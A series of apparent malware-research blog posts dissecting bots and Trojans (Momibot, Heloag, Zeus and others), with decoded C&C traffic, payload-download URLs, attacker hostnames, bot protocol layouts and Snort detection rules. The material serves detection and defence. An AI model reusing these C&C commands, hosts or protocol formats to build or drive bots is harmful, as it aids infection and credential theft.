Uncovering Win32/Momibot communication

The malware sample i am going to be looking at today is classified as Backdoor:Win32/Momibot by Microsoft and also referred to as Backdoor/IRCNite by some other AV vendors.

Packet captures of the sample from my automated sandbox results look something like this -

So, basically the Trojan is communicating on TCP ports 8090 as well as 80. Forcing wireshark to decode packets with TCP port 8090 as HTTP we get a bunch of Requests like -

POST /v4/index.php HTTP/1.0
Host: 203.146.253.110
Content-Type: text/xml
Content-Length: 137
byE8PCdtbyM6PTRzOjdudGBmZmpqYGpjYGp0fG1vfCE8PCdt

And responses -

HTTP/1.1 200 OK
Server: nginx/1.0.0
Date: Wed, 03 Aug 2011 06:58:52 GMT
Content-Type: text/xml
Connection: close
X-Powered-By: PHP/5.1.6
Cache-Control: no-store, no-cache
Content-Length: 56
Content-Disposition: inline
HBhvITw8J21jbzckczk6N250YmRrY2pkYGFqZHRtbzonNj5tOycnI2l8fGtifWJkZH1gYH1qa3xjY2NifTYrNm98Oic2Pm1vfDckbW8+Oj0gJ3M5OjdudGdia2VmZmVqY3RtbzonNj5tOycnI2l8fDg9PCQ/Njc0NiU6NiR9Oj01PHwyITIxOjB8MCAgfCcyMSB9MCAgb3w6JzY+bW98Pjo9ICdtb3whPDwnbQ==

Now, this looks like a base64 encoded HTTP “POST” request. Firing up Malzilla and using the built-in base64 decoder we get -

o!<<'mco7$s9:7ntbdkcjd`ajdtmo:'6>m;''#i||kb}bdd}``}jk|cccb}6+6o|:'6>mo|7$mo>:= 's9:7ntgbkeffejctmo:'6>m;''#i||8=<$?6746%:6$}:=5<|2!21:0|0  |'21 }0  o|:'6>mo|>:= 'mo|!<<'m

Darn ! some sort of encryption I guess. While this may look like a dead-end, the next couple of HTTP Requests have some clues as to what’s happening here -

GET /0001.exe HTTP/1.0
Host: 81.177.33.98
Content-Type: text/xml
Content-Length: 0

So, looks like the Bot is fetching this EXE. Taking a wild shot here and with the following assumptions -

• The C&C issuing commands to the Bot to download 0001.exe
• Simple XOR based encryption

lets try to brute force the base64 decoded response and see if we can get the XOR key in Malzilla.

And Voila – the key is “53” ! Agreed that I am not always that lucky, but hey this just saved me tons of time that I would have wasted reversing the binary which by the way is packed with “PEcompact 2.xx”.

So, now that we know that the Bot using simple XOR+base64 encoding for communicating with its C&C, we can completely decode the communication protocol. Turns out its XML ! Here is what the communication looks like -

CLIENT / SERVER

<root><binfo id='3559939039' nt='1' bv='4.6' lt='LAN' os='Windows XP Professional '> </binfo></root>
OK<root>0<tsync id='1312354849'/></root>

<root><ping id='3559939039'/></root>
OK<root>0<dw jid='1780973297'> <item>http://xx.xx.xx.yy/0001.exe</item> </dw><minstjid='418655690'><item>http://knowledgeview.info/arabic/css/tabs.css</item></minst></root>

<root><jresp id='3559939039'><item jid='1780973297' jstat='4'/><item jid='418655690' jstat='4'/></jresp></root>
OK0

<root><jresp id='3559939039'><item jid='1780973297' jstat='1'/></jresp></root>
OK0

<root><jresp id='3559939039'><item jid='418655690' jstat='1'/></jresp></root>
OK0

There is also hint of XML being used in the HTTP Request itself via the “content-type:” parameter. However, looks like the malware author forgot he was going to use encryption ;) All the samples that I analyzed so far on my setup had the XOR key hardcoded to “53”. Pretty lame huh ?! – cause you can completely automate this process using a simple python script which can be used for checking new commands sent out by C&C.

You can find the full script at http://pastebin.com/N6gJz0Jv

Before starting communication with the C&C, this Trojan checks for presence of UPNP devices on the network which I think it does to figure out if its connecting from LAN or  PPP connections at home. Based on this the Trojan may change behavior. At the time of this analysis the C&C was instructing the Bot to download Win32/FakeRean (belonging to the FakeAV family) malware.

Time to sig this bad boy – Even though it may seem that Trojan is using encryption, it is still possible to create IDS signature as long as the XOR key remains the same. This is because XOR+base64 encode of the initial (XML) string will always be the same. Based on this we can use 2 patterns - “<root><binfo id=” and “<root><ping id=” for creating the signatures -

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Possible Backdoor:Win32/Momibot checkin"; flow:established,to_server; content:"POST"; http_method; uricontent:"index.php"; nocase; content:"byE8PCdtbzE6PTU8czo3"; http_client_body; nocase; classtype: trojan-activity; sid:xxxxxxxxxx; rev:1;)

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"Possible Backdoor:Win32/Momibot Ping request"; flow:established,to_server; content:"POST"; http_method; uricontent:"index.php"; nocase; content:"byE8PCdtbyM6PTRzOjdu"; http_client_body; nocase; classtype: trojan-activity; sid:xxxxxxxxxxx; rev:1;)

Sometimes, dynamic analysis can give quite a head-start when it come to analyzing Malware ! If you see more samples of this family in wild using different XOR key, please do drop me note. Have fun with the script ! :)

Google Code hosting Malware components

Nothing new, It has happened in the recent past as folks at Zscaler had pointed out. But this time its not the malware itself, but part of its configuration and components being hosted on Google code servers. For those who don’t know Google code is a free, Web based platform that provides tools and resources to developers interested in working on Google-related open source software projects or projects that leverage Google services.

[Microsoft : Win32/Mofksys.A] (rather difficult to pronounce) is a worm type of Malware that spreads via network shares, removable drives and by email. While analyzing it today, I found out that It is using *.googlecode.com for hosting its malware components. And its not just a single project site that is being used - there are multiple projects hosting various components of this malware !

Once executed, apart from doing all the nasty stuff, one of the activity of this worm is to fetch its configuration and component files. These are being stored as .gif files on Google Code servers.

Despite of what Google claims about protecting users from malware being hosted on their servers, I found that this malware author seems to be using it for quite some time now !

Some of the entries date back to as old as 16th Oct 2009, which is when this Project was created ! It means that the worm has been around for almost a year now. No wonder these files have been downloaded so many times !

Following projects are being used by this malware -expcmd01.googlecode.com
expcmd02.googlecode.com
expcmd03.googlecode.com
expeml04.googlecode.com
expcmd04.googlecode.com

Based on the Project naming convention - “cmd” and “eml” could be for commands and email template respectively. While it is too early to comment if this is a new kind of BotNet, but this could be another smart way to use Google Code servers for C&C communications just like we saw Twitter being used as C&C sometime back. Haven’t had a detailed look at the downloaded files but they have names like cmsys.gif, udsys.gif, 2picsys.gif and use some kind of encryption (not clear text).

Following are the md5 of the samples that seem to be using the same set of Google code Projects to download components from – ee84838421768c902690281178e7a0ce
c7dcc44cb0c3355bedff8bc7c34ab43c

Google was prompt enough to remove the Projects as soon as I reported the matter to them. So as of this writing they are no longer accessible.

Using popular public services such as Google code, Twitter, Facebook, etc.. as C&C servers is a great way of ensuring that the controls channels stay low on the radar as well as away from content filtering software thus ensuring longevity of the malware. I won’t be too surprised if this turns out to be a part of a new Bot building kit like the Zeus :P

Trojan Heloag Botnet

Looks like there is a new Botnet on the horizon. Win32/Heloag is treated as Backdoor Trojan by many AV companies but appears to be a new kind of Botnet that uses P2P for communicating with its peers and Bot master. Its been out there for a while now.

A recent post by Arbor Networks on the Bot’s analysis actually prompted me to have a closer look at this piece of malware. Either their report is missing something or I seem to have observed some additional activities that the Bot does ! So here is some insight into the protocol the Bot uses for its communication with Peers as well as its Bot Master.

Once infected, as usual the malware copies itself to the windows system folder as file with names such as “crse.exe” or “conme.exe”. Some initial variants of this malware use TCP port 1106 for the communication with their Bot Master or Command & Control (C&C) server where as the newer variants appear to be using TCP port 8090.

The Bot uses a clear text payload with the first byte being used as a identifier of message or activity that the C&C server wants the Bot to perform. During my analysis I observed following messages:

0x01 – Initial Hello message (sent by Bot)

0x02 – Keep alive

0x03 – Peer information (sent by C&C)

0x04 – File download and execution (sent by C&C)

After infection, the Bot communicates with its C&C using the Hello message followed by the hostname. So, the 32Bytes of payload looks something like this -

01 + Hostname + Null padding

As mentioned earlier, older variants must have been using TCP port 1106 to communicate, so if that is the case they are upgraded to the latest versions. The C&C uses the “04” command for this and looks something like this:

04 + 2Bytes for no. of URLs + 64Bytes of payload info

payload = 00 00 + URL to fetch and execute + null padding

The upgraded Bot now starts using TCP 8090 for communication. Next, the C&C sends a “peers list” to the Bot for its P2P using “03” command that looks something like this:

03 + 2Bytes for no. of peers + 64Bytes of peer information

Peer information = 00 00 + Peer-IP + null padding + Peer-port

Unlike what the Arbor networks report said, I observed the P2P communication on TCP as well as UDP ports. At the time of the analysis, the Bot was using port ranges 7105 – 7506 for TCP as well as port ranges 9101 - 9301 for TCP & UDP.

It exchanged huge amounts of traffic on the UDP ports – almost 15MB in a very short time ! Though UDP payload appeared to be encrypted it was exactly 100 Bytes in length. Also, the use of its P2P communication is not known yet.

While I have not done a static analysis yet, I guess that the use of TCP or UDP is determined on the basis of port range itself and must be hardcoded in the binary as that info is not passed on by C&C as part of its protocol.

Whether or not this is a entirely new piece of Botnet is doubtful, but the communication protocol does appear to be different than what I have seen before in other botnets such as Conficker or Waledac.

That’s it for now. I will be playing around a bit more with this. Will update if I find something new. Following are the md5 of the binaries used for this analysis -

b36a68304cec89cf35ddaea8a7e8406d

6a5759f5e32253e06217baa6e1b1dbe1

ed96a6175f00e21df631b295b3019f6a

Stay tuned !

Trojan using MS SQL ??

Well its my first post in 2010 :) … rather late, apologize for that.

Recently came across a Trojan sample that actually connects to a Database server and does some SQL commands ! This is the first time I saw something like this.

Normally, Backdoors and other malware use HTTP interfaces (POST/GET commands) to talk to their command servers, but in this case the malware was talking directly to the Microsoft SQL Server using standard DB commands on TCP port 1433.

After looking around for details on this Trojan, I realized that this malware was one of the components that a variant of Zbot downloads.  Not many AV vendors detected this malware sample.

Once executed, the Trojan attempts to connect  to dbsq0002.whservidor.com on TCP port 1433. I don’t exactly speak TDS (Tabular Data Stream) format but from the looks of it, it tries to access “estargames1” DB and then executes the following SQL command -

SELECT * from TBL_002 where localizador = A0D23C2E

If the Query does not return any results, it goes ahead makes an entry into the database using -

INSERT into TBL_002 (localizador,data,horas) VALUES (‘A0D23C2E’, ‘2/3/2009’, ‘11:09:29 AM’)

The string “A0D23C2E” appears to be random and keeps changing with every infection.

Now the fact the some cares to install a Microsoft SQL database on standard port open facing internet  is really funny ! :) Makes me wonder what’s the exact intention of this malware ? – Is it some online gaming server as the name suggest or is the malware author trying to track the infections of its Trojan ??

Drop me a comment if you have more info on this !

Dissecting Zeus Botnet...

Posting after a long time.. was quite busy with some presentations to make as well as with my Protocol Fuzzer script which should be ready soon.

Anyways, the Zeus Botnet has been around for quite some time now and has gained some attention with its Internet Banking password stealing campaigns and Zeus Crimeware Kit ! Recently I received a sample which happened to be one of the Trojans belonging to this family.

“uk.exe” as it being distributed around in the wild initially seemed something else as VirusTotal results reported a rather poor detection percentage by AV vendors and also a different name like Trojan.Meredrop or Bancos.lgi. At the time of this analysis, only 2 of the major five AV companies were able to detect this Trojan and Microsoft reports suggested it as a downloader.

But, when I started up with my usual dynamic analysis, things were a little different. I had no idea that I was dealing with Zeus Botnet Trojan. This Trojan has a root kit functionality and it injects itself into one of windows processes to avoid detection. As soon its executed, the orginal process (uk.exe) exited and soon the Trojan became part of svchost.exe as expected. It then connected to “ogurchik.cn” like any typical downloader over HTTP.

  Fig1: Trojan communication

As I was looking at wireshark trying to search patterns to write IPS signature, I noticed that everything was encrypted :( A little disappointed, I started digging in deeper looking at File/Registry changes done by the malware to see if I could locate the downloaded stuff on the disk. Even that too was encrypted and file locked by the Trojaned process itself. So, as usual when nothing works google does :) .. searching for “ogurchik.cn” directly landed me to zeustracker.org website and I realized that I was dealing with something more sinister than just a downloader.

After reading an excellent article at Threatexpert blog on the Zeus Botnet, I knew that I was dealing with “variant 4” of the Zeus Botnet and that the encrypted communication is nothing but the configuration file of the Bot. Luckily I got hold of the Zeus Decryptor tool so I didn't have to re-invent the wheel. The encryption is done using RC4 algorithm and the funny part is that the 256-bit key is stored within the Trojan exe when its built. So for the Decryptor tool to work, it has to run on the same infected machine so that it can extract the key from the  memory  of the Trojaned process.

  Fig2 : Dumping raw data from Wireshark / Decryptor in Action

After dumping raw data from the HTTP Response into file (zeus.cfg.raw), I ran the decryptor tool to get the clear text data and was shocked to see js code in it ! When I was reading more on the Zeus functionality, I was amazed at one of the Trojans capability and that was to intercept & inject HTML code in Browser in real-time ! So, I decided to play around more with the Trojan hoping to see the password stealing process in action. After going through the fairly elaborate Java code, I figured out that it was designed to manipulate code for banking sites belonging to HSBC, Abbey Santander, Alliance & Leicester and NatWest banks – all UK based Internet banking sites.

 Fig3: The Zeus configuration file

So, I opened the NatWest website and entered some fake details for all the fields and voila ! .. Apart from the encrypted traffic, there was a HTTP request to “ety8sj.cn” submitting all the data captured in clear text ! There it was – all the credentials nicely packaged along with “ZCID” (Zeus ID) which was my machine name followed by random string. I wonder why the malware authors decided to keep this part in clear text, they might as well have had used encryption for this too – but hey, it definitely made my life easier since I could now write a IPS signature for it ! :)

 

Fig4: Stolen credentials being submitted to the attacker

But the ability to inject code and manipulate data in the Browser was just amazing ! I mean who thought of this thing – it just defeated everything - SSL, Secured Login everything ! As If that was not enough - it detects the virtual keyboard in use and starts taking screenshots leaving end user completely helpless !

At this moment there are Zeus Kits being sold in the wild for anywhere between $400 to $800 and mind you these are sophisticated kits with a proper User Interface and statistics logging which allow you to completely customize the Trojan as per the needs. Some guys are also selling “Zeus as a service” giving control of their botnet on rent for a few days ! :o Since each binary of the Trojan generated from the kit is designed to have different code, the criminals can virtually churn out thousands of such Trojans and that explains the poor detection rate by the AV companies.

Interesting C&C BotNets

Gone are the days when “Command & Control” Botnets were controlled using IRC channels or web servers. These days, attackers have moved to more sophisticated techniques or rather they are taking advantage of already available public infrastructure to control their army of Bots.

One such case is that of a Bot using Google Groups for sending out the control commands. Discovered by a researcher at Symantec, this Trojan upon infecting a machine, connects to a private Google group called “escape2sun” and requests a page. This page contains encrypted commands for the Trojan that typically consist of an index number, a command line to execute, and optionally, a file to download. Now not only can the malware author control the Botnet, but he also gets all the additional features of Google groups such as version control and tracking group activity, etc. !  Smart stuff, eh ?! Read more about it here.

Other similar publically available service that is being exploited by Botnet authors is “Twitter”. Using obfuscated Twitter status messages on a account, the malware author is able to send commands to its Trojans. The Trojan works by reading the RSS feed to a particular Twitter account designated by the Botnet author.  This appears to be a direct fall out of a PoC that was presented at Defcon 17 regarding a tool called “KreiosC2”. More about this here.

But this is not the only social networking site that is being targeted by Botnet authors, other sites such as Jaiku and Tumblr are also being used. A big advantage of using such techniques is that, it will be difficult for content filtering systems to detect & stop such communication since this is legit communication to well known websites. But at the same time, the biggest disadvantage is that they are all public services, so whatever activity that the Botnet is doing is easily visible to others too !

Strange piece of Malware..

Recently I came across two strange pieces of malware – Win32/Induc.A and Win32/Skytap.A.

Well, you can’t exactly call the first one a malware because it does not do the usual malicious stuff like disabling AV’s, downloading Trojans, stealing data etc.. But it’s very interesting in the way it spreads. Win32/Induc.A is the first of its kind malware that affects Delphi compilers. For those who don’t know Delphi is an object-oriented, visual programming environment to develop 32-bit and Microsoft .NET applications for deployment on the Internet, Windows and Linux. So essentially, any Delphi program complied by a machine infected with this Trojan contains a copy of the Trojan itself embedded inside the program and that is how it spreads !

Now what’s even more interesting is that this smart little Trojan managed to stay undetected for more than a year from all the AV/AS vendors ! In this process, it infected lot of Delphi programs including other Malware ! :) Yes, there are variants of Win32/Bancos – a popular password stealing Trojan infected with Win32/Induc code ! We’re lucky the Win32/Induc doesn’t do anything more than just affecting Delphi compiler otherwise this could have been a whole different story. Now AV vendors claim that this was the very reason for it not getting detected for so long, but never the less, at least the malware authors got a taste of their own medicine :P !

The second malware - Win32/Skytap is again a unique Trojan whose source code was published by a Swiss software developer on his website last month. It affects users of Skype software which is an application popularly used for making voice over IP (VoIP) calls. As you might have already guessed, this Trojan can tap into Skype function calls, extract and dump audio data to files. Not only that, it also converts audio conversations to the mp3 format and encrypts it.

Win32/Skytap.A contains two components: SkyDLLInjector.exe and DLLToInject.dll. These components hook to various Windows API calls that are used in audio input and output. It then is able to intercept all audio data traveling between the Skype process and the underlying audio device making Skype's network level encryption useless ! The extracted audio data is then saved to .mp3 files and can be sent out to a remote website using backdoor component. I am sure we will soon see variants of this Trojan that will adapt to other VoIP/Messaging software as well.

Now that’s some interesting stuff I have come across after a long time :) !

A new breed of attacks

In the beginning of 2009, there was a sudden increase in new form of malware being distributed. The bad guys are now getting smarter by the day, giving rise to a new breed of attacks being carried out. All the attacks have one common thing though - they exploit victims paranoia for malware !

Scareware
Almost every month there is a new variant of these so called security or Antivirus programs. These fake security programs pretend to do a scan of your system and claim that the machine is infected with lot of malware, when the fact is that there is none ! Some of the screens shown are so convincing that any one not having an antivirus will easily fall for it.

[ Fig 1 - Fake Antivirus Programs ]

They all boast the WinXP/Vista look and feel. While some of them will trick you into downloading more malware, others will try to scare you into spending $30-80 to buy fake protection. They also supply the Visa, MasterCard and PayPal payment mechanisms that enable consumers to pay.

Ransomware
This takes fake security programs to the next level. Now apart from those irritating screens that show that the machine is infected, the malware locks and prevents other programs from running including Task Manager, Command Prompt or other system and office applications. There are even some variants that encrypt all office files stored on the system. Now the user is forced into paying up for using his own machine :o !

[ Fig 2 - Ransomeware encrypting office files ]

[ Fig 3 - SMS Ransomeware ]

But who said ransomeware was limited to only forcing user to buy fake programs ?! Welcome SMS Ransomeware :) .. While some of this family of malware lock the desktop, others take control of the mouse pointer preventing you from clicking anywhere else (how irritating :/ !) except for a window that requires a code to be entered. The victim is then prompted to send a premium SMS to a specified number to receive the unlock code.

SEO (Search Engine Optimization) Attacks
This attack is carried out by exploiting the way search engines work. The bad guys create different web pages and fill them with words and phrases that are popular search queries, such as "France Airline crash" or "American Idol winner" or "Conficker" for that matter. Next they hack into a popular, legit website using XSS (read Cross Site Scripting) and insert small JavaScript that redirects the browser to their web page. This is added on as many pages of the compromised high-traffic site as they can. This is where the SEO kicks in and starts ranking web pages and prioritizing search results, based on relevance. Now along with the results for popular websites, the bad guys page also turns up. Anyone who clicks on the bad links ends up with Malware !

You might think that all this dirty work might be some script kiddie sitting somewhere in Russia wanting to earn some quick bucks. But that's not all that it is to this story - there a whole bunch of underground syndicates running these operations !! There is an excellent article posted by Byron Acohido on his blog regarding how the bad guys are making profit out of this whole fake programs thing ! Now thats some real scareware ;)

You've g0t Ma1L

Recently I received a funny mail about some missing parcel from "United Parcel Service of America" ! At first, it seem to a very legitimate mail and didn't appear to be a obvious spam email. But unfortunately for the sender of the mail, I knew that I had not ordered any parcel so my hacker senses were soon tingling :) ..

[ Fig 1 - Mail about some parcel not being delivered ]

A closer look at the mail reveals some interesting aspects of the spammer. Firstly there are no obvious spam symptoms and the sender also looks legit. Then the body is also well structured making it look authentic. So, I went ahead (knowing I had a Symantec AV installed & updated) and extracted the contents of the attachment to a folder. To my surprise, it did extract without any warnings.

As a person who eats malware for breakfast and lunch, I have one good habit of un-checking the "Hide extensions for known file Types" option in windows explorer (Tools >> Folder Options >> View) on all systems that I work with. Some how I never understood why this option is there in the first place and that too checked by default for WinXP installations. Anyways, to make matters worse Windows explorer conveniently prevents the full name from showing up (since its a long name) making it look like a nice excell file to open. By now, I am sure any innocent user would have fallen prey to the sender and executed this file.

After selecting the file, the full name shows up - "UPS_DOC_986001.exe". Gotcha ! Now, since when did invoice copies start getting distributed in the form of executables ?! A quick virustotal scan identifies the Trojan as Win32/Bredolab [symantec]. Even as I uploaded the file to virustotal, my symantec AV didn't raise any alarms which is a bit unusual since its the first one to jump on any file I attempt to view. Bredolab is a downloader type of trojan which has been discovered recently. Some of the variants of this type of Postal mails are known to download Fake AV programs and other malicious files.

Such method of distributing malware is not new. Some older versions referring to "Western Union" instead of UPS have been circulating for some time now indicating that this mail could also be from the same malware authors. So, be careful with attachments when you receive mails from unexpected or unknown sources and don't forget to change the windows explorer file extension settings!

Dawn of the Downl0ad3rs

So what are Trojan downloaders ?? To say in short "Malware that is designed to download more malware" (duh !?). Actually, over the years these downloaders have evolved a lot and today they represent a major chunk of the malware family.

So, what is the sole purpose of these so called Trojan downloaders - "To download more nasty stuff on the affected machine" (duh again !?) Yes.. much more than that. They are designed to be lightweight, stealth, evade Intrusion Prevention devices and more over give the attacker full control over what gets downloaded when !!

Typically, as soon as a downloader is executed on a system. It will contact a website (generally hard coded domain names) and wait for the response. But unlike a normal webservers response, what actually comes is a list of URL's to download more bad stuff from -

[ Fig 1 - Typical Trojan downloader webserver response ]

So, now the attacker who owns the server can control what gets downloaded on the affected system. He can change the files or links whenever he wants to. All the downloader has to do is fetch all the files listed in the URL and execute them. But thats not all, how about some obfuscation to trick our good ol' Intrusion Detection/Prevention devices (IDS/IPS) !?

[ Fig 2 - Encoded or obfuscated response ]

In what may seem like bunch of garbage characters, is actually a hex coded or obfuscated data to keep the good guys at bay. The webserver in this case gets even more sophisticated, scripting other activities for the downloader Trojan running on the affected machine!

[ Fig 3 - Using image name for downloading ]

Another trick is to use image names for downloading malware. At first it appears to be a harmless image download, but actually is a executable file ! Wireshark is smart enough to detect that its not a image, but can your IDS/IPS do it ?!

Ultimately a whole bunch of crap - from Worms/Trojans to Fake AV programs to malicious .pdf and .swf files can get downloaded on your system. So, be careful and keep your AV's updated, you never know what a small exe could do to your system !